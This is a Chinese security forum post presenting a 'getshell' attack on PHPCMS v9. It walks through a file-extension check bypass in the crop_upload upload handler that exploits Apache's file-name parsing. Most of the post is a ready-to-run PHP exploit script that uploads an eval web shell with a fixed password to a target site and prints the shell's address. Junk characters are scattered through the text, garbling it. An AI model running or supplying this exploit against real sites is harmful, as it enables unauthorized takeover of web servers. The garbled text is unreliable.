中国网络渗透测试联盟

标题: PHPCMS v9 Getshell [打印本页]

作者: admin    时间: 2013-3-7 13:06
标题: PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
' j# z4 o4 R1 Q: I1 O8 [% L
7 X9 k3 d5 c' @/ v: }: j简要描述:
5 ^3 o: G- \# ]* Y4 `8 N
. G- U4 l8 `+ S; J* S5 hphpcms v9 getshell (apache)- m; k+ I' B2 k
详细说明:
* H8 R" F( [. h, z" p+ V1 A; d& x$ I5 G4 s3 C! _
漏洞文件:phpcms\modules\attachment\attachments.php
% o* u; O" m; I: U. `. W6 o
& a/ h: U% M5 W( H/ t( ?public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
& M& M: e1 T  V3 K3 K% E后缀检测:phpcms\modules\attachment\functions\global.func.php
+ r" |2 u% w5 J% d7 [7 L0 L$ H7 N6 p$ C& r3 D( T+ E( D( [
. ]* i7 I' h! _% B3 j, p7 ?" e
6 J+ d0 X! I/ F
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  ' y" m3 c9 H* G8 n( k
) W, n* I5 J/ ~$ r6 Z
关键函数:9 o7 F* `, |% y# N2 o

7 E- U0 D/ B- S% O% \ " j( u" ^. H& _2 _, S6 x
& ^% U2 i  C* d5 G% ^% ?
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
( v* m3 h, F5 r
0 w- R( h0 Z" }: ?  f  Fileext函数是对文件后缀名的提取。* f3 Q- X8 x0 q+ Z
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php2 y0 I8 |1 ]  Q/ V
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
& ], x8 V  m) u0 l7 l8 A我们回到public function crop_upload() 函数中+ z& {+ S' S' L) Z7 ~
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();  Z% x) m% E6 l: p8 j, Z
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
+ i! J5 |, h, A这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 j8 J0 T; u5 Y" b# N2 S3 ?' `
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
0 W! G8 u7 A9 r最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
+ w! b( O+ M6 }" U看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
, x7 ^2 e0 w8 d; M  n漏洞证明:
2 A1 ^( F8 ?3 N9 g" T' F$ K- ]
2 H! C- }- J' H7 X, _exp:
  O+ f/ h7 h# t3 ~$ y$ A9 G( t! q3 V
<?php
& i( a  j. B8 R# A. y6 c% aerror_reporting(E_ERROR);
7 F- n+ p$ |7 i; D2 q( |- ]  E6 W/ sset_time_limit(0);( n; y7 H6 N: G) t
$pass="ln";
7 G  R5 i! _' \& c+ y8 Aprint_r('
. T2 |9 j& G0 o1 ]5 o! B+---------------------------------------------------------------------------+% F2 f% T- B, s- y
PHPCms V9 GETSHELL 0DAY 0 [  \4 j% e7 Z
code by L.N.
5 F- x( P1 U8 X( |# n/ ^' D3 R0 O& N( q" e
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net6 l8 B. i3 t& n8 @
+---------------------------------------------------------------------------+, C% u4 M2 d' x8 E' q5 y
');- ~2 d7 |( X' w% e  {
if ($argc < 2) {
2 ?! ?( E' ^8 B* F# bprint_r(': d9 z/ d# M5 m% H5 d
+---------------------------------------------------------------------------+2 A+ C0 Q# v# k. `* u$ u7 L" o
Usage: php '.$argv[0].' url path
7 J! j6 h5 V: |- _' m
/ P9 @+ K) U* f: V9 U2 ]Example:
6 b# Y$ F* u2 o1.php '.$argv[0].' lanu.sinaapp.com2 {. \9 C/ M8 e
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
: R& R' q! G" C$ t+---------------------------------------------------------------------------+
' p* L* y$ P* q( d& I: e');% w! O4 c0 x! r' v+ m
exit;
* Y& o6 r  h! l8 p}( K+ w. b. E5 e% l+ n" L& U
* M0 ~, \) d/ Q! S
$url = $argv[1];
$ I$ t" [! Z/ ~4 s  b1 Y% y4 D9 @$path = $argv[2];* U# U$ N0 r$ w  d+ d
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';- h5 U4 d( \0 {9 m" X
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';& [; j; v6 T5 v* S% G, s8 d
if($ret=Create_dir($url,$path))  G1 e6 i% T) j6 v: J
{
- G5 [) j0 o8 k//echo $ret;
3 L# j: X( z! i/ l7 s- q$ r! R( G6 T; \, }- v$pattern = "|Server:[^,]+?|U";
1 |0 K/ Q0 `5 |5 Gpreg_match_all($pattern, $ret, $matches);
! {+ a1 A. g8 A! dif($matches[0][0])( A1 R' G$ T: m% i6 ]: p4 y
{
" D+ u) Z1 w9 Gif(strpos($matches[0][0],'Apache') == false)
! |; P0 f1 ~  J' O  Q6 y{
$ [% r$ O" Z0 Zecho "\n亲!此网站不是apache的网站。\n";exit;5 A" J; K9 m: r: n4 u- _/ p! E
}
  p4 `" F, a4 {. g, m}; M; n$ G% M; Y8 h! U
$ret = GetShell($url,$phpshell,$path,$file);
& B  X& b0 I' o0 c4 H& Q$pattern = "|http:\/\/[^,]+?\.,?|U";
0 u* S# _# Q6 o+ rpreg_match_all($pattern, $ret, $matches);
& o" ~/ N; S6 sif($matches[0][0])
, m* y3 l3 h3 ]# T# M5 @{# M; O: e% ^0 K2 _" d0 b1 L  z7 W
echo "\n".'密码为: '.$pass."\n";
  D2 g; v- B6 O; X$ Vecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;4 h" D7 |) `, X! j
}- W+ h8 }/ k0 G0 `. ?- c: {
else, `; |( y# a  P) p! |
{8 s: h: d- W- D# r
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
3 E" r4 v7 Y7 g, h. C: F" Fpreg_match_all($pattern, $ret, $matches);! w8 f! b! `% }
if($matches[0][0])
1 ^) L' b- c0 S{: t7 F$ n9 P+ t  ?% n) F* b4 y
echo "\n".'密码为: '.$pass."\n";
& j% `1 d! @, }7 kecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;3 y# e4 w0 P8 i0 z0 }8 ^
}
5 w! `/ ]/ P$ B9 p7 ]# t. Felse
& ~# \/ L3 T. U7 r{1 H6 |& C, g5 Q" j7 X
echo "\r\n没得到!\n";exit;
( h$ E  h) F) y2 Q) _}. p' @" o( j- H& J' k' N5 N
}
. H" F3 ]3 t- I  v3 E}/ Y  _4 }% y# ^- f- F* k5 \
5 y7 O- u! T8 g: V5 Z
function GetShell($url,$shell,$path,$js). m7 s  E7 h+ u
{
: i- W! p. H! Z3 w# R$content =$shell;# `# P7 H) d% Z. N3 s4 U
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
8 A2 u2 T& J* K! U- D9 b5 t$data .= "Host: ".$url."\r\n";. U1 ~; T) r# Q( l) m$ z" d) @
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";# E2 q5 a, M* U( S, p
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
3 u( l. E. q+ h" D. @$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
3 n- h/ Q8 n% S8 U$ J3 d2 w8 K$data .= "Connection: close\r\n";2 K) l5 i! }! E& u8 E( c
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
" f& ]% S& P. t' W; o$data .= $content."\r\n";. z5 z! }) ]6 o2 y
$ock=fsockopen($url,80);
6 m6 W  h2 D" D  d. e2 Y4 P7 Iif (!$ock)
  ^& X8 |# L  N' Z4 A! G! s5 [. t{4 \0 W1 h7 _6 \5 x3 Y" F/ r
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 V5 g3 N6 Y/ ^/ O$ [( U' q0 S: T" J
}# W+ o' q& f2 }$ o4 ?
else
* K8 }0 u0 l5 b, M{
. {+ o* P- P3 O: k3 H' o9 h& Cfwrite($ock,$data);1 j" c0 G0 C8 S7 e6 F5 y" s/ K4 I
$resp = '';! N) U6 M9 x- \$ L6 u7 T
while (!feof($ock))* `" f. a) ~- W0 o: D# S  X0 |
{& Q0 ^1 {# ]6 ^  e( y% I6 g" V6 [
$resp.=fread($ock, 1024);
* f1 X( [- P% N}
/ \) Y" {  n# @, I0 Areturn $resp;1 E) n6 r. z2 k5 A* Q
}
* ^6 Q7 Z; F5 S) u/ h- O4 M}
! ~3 v$ {) z7 v' P
. u/ L+ J# ^  e! [function Create_dir($url,$path='')2 t% m0 k; r; _$ s
{
& z' ], m! s) l0 j% {8 q5 s$content ='I love you';
& F4 @. z9 e* m* G  W) \4 I5 B' v$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" B9 @! h% D, z  ^( P3 W+ F$data .= "Host: ".$url."\r\n";$ D( Z! V: p8 P4 D/ _. G# O% W
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
6 p, U) k/ g% Y% v+ Q$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 w8 I: p; m" g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";8 q1 B0 j( B: N5 j6 \$ r6 A
$data .= "Connection: close\r\n";
+ s( w* t3 T8 Q% V0 g5 B$data .= "Content-Length: ".strlen($content)."\r\n\r\n";( x& H( P( L$ B" P$ k0 u
$data .= $content."\r\n";0 R+ k; f& i  g+ @
$ock=fsockopen($url,80);
0 G0 H& v. \. o: {if (!$ock)3 h" R5 ~& V, R9 c" |: q; m
{
3 r  x8 p( a) w1 xecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
. L0 }; O5 X5 T$ w}1 Z/ V$ m8 {0 R# k) \
fwrite($ock,$data);
; E7 C3 m/ \. x$ I' p$resp = '';
- g' ]5 ]* p$ d* }: n' t' F% iwhile (!feof($ock))' k* G9 c# _4 v$ }
{$ U( I/ t. G. I! L4 H
$resp.=fread($ock, 1024);( M) `) R/ Z8 U( W" P7 b
}
7 k; j! r9 E0 ]return $resp;- N8 X% f( S: G
}
7 q) d( E  ?5 ~5 F9 \: ]8 ^?> ( B+ W' I0 ~+ ]8 j

; p" O0 F* V! p9 Y/ |: k, P修复方案:/ d/ u$ I+ B9 \# A

, n+ j3 e: a4 \  K- ], \% c9 P过滤过滤再过滤8 q6 r) Q* `4 q* u/ W7 H  G
4 B* B) A1 ?6 f/ D# Q+ L& S





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2